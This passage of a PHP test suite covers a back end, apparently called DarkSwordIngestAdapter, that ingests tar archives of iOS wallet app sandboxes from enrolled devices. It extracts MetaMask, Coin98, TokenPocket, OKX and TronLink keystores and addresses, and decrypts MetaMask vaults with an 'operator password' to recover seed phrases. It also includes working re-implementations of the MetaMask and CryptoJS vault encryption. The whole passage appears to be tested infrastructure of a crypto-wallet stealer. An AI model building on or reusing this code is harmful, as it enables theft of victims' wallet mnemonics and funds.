$hit = $adapter->decryptKeystoreWithPassword($device, $row, $password);
|
|
$this->assertSame(1, $hit['hits']);
|
|
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
|
$this->assertNotNull($memo);
|
|
$this->assertSame('Coin98', $memo->source);
|
|
$this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
|
|
$this->assertSame(1, (int) $row->fresh()->decrypted);
|
|
}
|
|
|
|
#[Test]
|
|
public function metamask_keyring_vault_is_stored_and_unlocked_with_password(): void
|
|
{
|
|
$device = $this->makeDevice('dev-mm-vault2');
|
|
$password = 'woshini@88';
|
|
$vault = $this->makeMetamaskVault(self::MNEMONIC, $password);
|
|
unset($vault['kind']);
|
|
$accounts = ['internalAccounts' => ['accounts' => [
|
|
'acc-1' => ['id' => 'acc-1', 'address' => self::ETH, 'type' => 'eip155:eoa'],
|
|
]]];
|
|
|
|
$tar = $this->makeTar([
|
|
'Documents/persistStore/persist-KeyringController' => json_encode([
|
|
'vault' => json_encode($vault),
|
|
]),
|
|
'Documents/persistStore/persist-accounts' => json_encode($accounts),
|
|
]);
|
|
|
|
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'io.metamask.MetaMask.tar');
|
|
|
|
$row = WalletKeystore::query()
|
|
->where('device_id', $device->id)
|
|
->where('source', 'MetaMask')
|
|
->where('needs_password', 1)
|
|
->first();
|
|
$this->assertNotNull($row);
|
|
$this->assertSame('metamask.vault', $row->kind());
|
|
$this->assertSame('MetaMask Vault', $row->kindLabel());
|
|
$this->assertSame($vault['cipher'], $row->raw_json['cipher']);
|
|
$this->assertSame($vault['iv'], $row->raw_json['iv']);
|
|
$this->assertSame($vault['salt'], $row->raw_json['salt']);
|
|
|
|
// Operator password unlock recovers the mnemonic through the
|
|
// existing quick-crypto PBKDF2 vault decryptor.
|
|
$adapter = app(\App\Services\DarkSwordIngestAdapter::class);
|
|
$result = $adapter->decryptKeystoreWithPassword($device, $row, $password);
|
|
$this->assertSame(1, $result['hits']);
|
|
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
|
$this->assertNotNull($memo);
|
|
$this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
|
|
$this->assertSame(1, (int) $row->fresh()->decrypted);
|
|
}
|
|
|
|
#[Test]
|
|
public function tokenpocket_encrypted_sandbox_files_are_stored(): void
|
|
{
|
|
$device = $this->makeDevice('dev-gw-enc');
|
|
$encrypted = base64_encode(random_bytes(96));
|
|
$cacheText = str_repeat('a', 200); // long text is NOT encrypted material
|
|
|
|
$tar = $this->makeTar([
|
|
'Documents/F4SeCyr/836527c71bf2a084191ce4147b6deba570c770d2dc1f7d8e6a16795be7b154df' => base64_decode($encrypted),
|
|
'Documents/db/main.sqlite3' => base64_decode($encrypted),
|
|
'Documents/cache/market.sector.classes.json' => $cacheText,
|
|
'Documents/cache/batch_market_list_RWA.json' => json_encode(['address' => '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c', 'symbol' => 'RWA', 'name' => 'RWA', 'decimals' => 18]),
|
|
]);
|
|
|
|
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.global.wallet.ios.tar');
|
|
|
|
$row = WalletKeystore::query()
|
|
->where('device_id', $device->id)
|
|
->where('source', 'Global Wallet')
|
|
->first();
|
|
$this->assertNotNull($row);
|
|
$this->assertSame('encrypted.sandbox', $row->kind());
|
|
$this->assertSame(1, (int) $row->needs_password);
|
|
$files = array_keys($row->raw_json['files'] ?? []);
|
|
sort($files);
|
|
$this->assertSame([
|
|
'Documents/F4SeCyr/836527c71bf2a084191ce4147b6deba570c770d2dc1f7d8e6a16795be7b154df',
|
|
'Documents/db/main.sqlite3',
|
|
], $files);
|
|
$this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count());
|
|
}
|
|
|
|
private function makeDevice(string $id = 'dev-app-1'): Device
|
|
{
|
|
return Device::query()->create([
|
|
'device_id' => $id,
|
|
'ios_version' => '18.0',
|
|
'device_model' => 'iPhone',
|
|
'chain' => Device::CHAIN_APP,
|
|
]);
|
|
}
|
|
|
|
/**
|
|
* @return array<string, mixed>
|
|
*/
|
|
private function makeMetamaskVault(string $phrase, string $password): array
|
|
{
|
|
$inner = json_encode([[
|
|
'type' => 'HD Key Tree',
|
|
'data' => [
|
|
'mnemonic' => array_map('ord', str_split($phrase)),
|
|
'numberOfAccounts' => 1,
|
|
'hdPath' => "m/44'/60'/0'/0",
|
|
],
|
|
]], JSON_UNESCAPED_SLASHES);
|
|
$saltB64 = base64_encode(random_bytes(32));
|
|
$iv = random_bytes(16);
|
|
$key = hash_pbkdf2('sha512', $password, $saltB64, 5000, 32, true);
|
|
$cipher = openssl_encrypt((string) $inner, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
|
|
|
|
return [
|
|
'kind' => 'metamask.vault',
|
|
'cipher' => base64_encode((string) $cipher),
|
|
'iv' => bin2hex($iv),
|
|
'salt' => $saltB64,
|
|
'lib' => 'quick-crypto',
|
|
'keyMetadata' => [
|
|
'algorithm' => 'PBKDF2',
|
|
'params' => ['iterations' => 5000],
|
|
],
|
|
];
|
|
}
|
|
|
|
/**
|
|
* @param array<string, string> $files
|
|
*/
|
|
private function makeTar(array $files): string
|
|
{
|
|
$dir = sys_get_temp_dir().'/app_upload_tar_'.bin2hex(random_bytes(4));
|
|
mkdir($dir, 0777, true);
|
|
$tarPath = $dir.'.tar';
|
|
try {
|
|
foreach ($files as $rel => $body) {
|
|
$full = $dir.'/'.$rel;
|
|
$parent = dirname($full);
|
|
if (! is_dir($parent)) {
|
|
mkdir($parent, 0777, true);
|
|
}
|
|
file_put_contents($full, $body);
|
|
}
|
|
$phar = new \PharData($tarPath);
|
|
$phar->buildFromDirectory($dir);
|
|
|
|
return (string) file_get_contents($tarPath);
|
|
} finally {
|
|
@unlink($tarPath);
|
|
$it = new \RecursiveIteratorIterator(
|
|
new \RecursiveDirectoryIterator($dir, \FilesystemIterator::SKIP_DOTS),
|
|
\RecursiveIteratorIterator::CHILD_FIRST
|
|
);
|
|
foreach ($it as $f) {
|
|
$f->isDir() ? @rmdir($f->getPathname()) : @unlink($f->getPathname());
|
|
}
|
|
@rmdir($dir);
|
|
}
|
|
}
|
|
|
|
/**
|
|
* OKX wallet_coinMeta shape: token metadata tables full of contract
|
|
* addresses, with no user-account rows.
|
|
*/
|
|
private function makeOkxCoinMetaSqlite(string $weth, string $usdt): string
|
|
{
|
|
$tmp = tempnam(sys_get_temp_dir(), 'okx_meta_');
|
|
$pdo = new \PDO('sqlite:'.$tmp);
|
|
$pdo->exec('CREATE TABLE fullAssetCoinRelations (id INTEGER PRIMARY KEY, address TEXT, symbol TEXT, decimals INTEGER)');
|
|
$ins = $pdo->prepare('INSERT INTO fullAssetCoinRelations (address, symbol, decimals) VALUES (?,?,?)');
|
|
$ins->execute([$weth, 'WETH', 18]);
|
|
$ins->execute([$usdt, 'USDT', 6]);
|
|
$pdo = null;
|
|
$bytes = (string) file_get_contents($tmp);
|
|
@unlink($tmp);
|
|
|
|
return $bytes;
|
|
}
|
|
|
|
/**
|
|
* Mirror of CryptoJS AES.encrypt(plain, password) default output:
|
|
* base64("Salted__" + salt + AES-256-CBC), EVP_BytesToKey MD5.
|
|
*/
|
|
private function cryptoJsEncrypt(string $plain, string $password): string
|
|
{
|
|
$salt = random_bytes(8);
|
|
$derived = '';
|
|
$block = '';
|
|
while (strlen($derived) < 48) {
|
|
$block = md5($block.$password.$salt, true);
|
|
$derived .= $block;
|
|
}
|
|
$key = substr($derived, 0, 32);
|
|
$iv = substr($derived, 32, 16);
|
|
$cipher = openssl_encrypt($plain, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
|
|
|
|
return base64_encode('Salted__'.$salt.$cipher);
|
|
}
|
|
|
|
private function makeTronLinkSqlite(): string
|
|
{
|
|
$tmp = tempnam(sys_get_temp_dir(), 'tl_sqlite_');
|
|
$pdo = new \PDO('sqlite:'.$tmp);
|
|
$pdo->exec('CREATE TABLE Wallet (id INTEGER PRIMARY KEY, address TEXT)');
|
|
$pdo->exec('CREATE TABLE ORM_DBTable_HomeNewAsset (id INTEGER, address TEXT, balance TEXT, shortName TEXT, contractAddress TEXT)');
|
|
$ins = $pdo->prepare('INSERT INTO Wallet (address) VALUES (?)');
|
|
$ins->execute([self::TRON]);
|
|
$asset = $pdo->prepare('INSERT INTO ORM_DBTable_HomeNewAsset (id, address, balance, shortName, contractAddress) VALUES (?,?,?,?,?)');
|
|
$asset->execute([1, self::TRON, '0', 'TRX', '']);
|
|
$asset->execute([2, self::TRON, '1.5', 'USDT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t']);
|
|
$pdo = null;
|
|
$bytes = (string) file_get_contents($tmp);
|
|
@unlink($tmp);
|
|
|
|
return $bytes;
|
|
}
|
|
}
|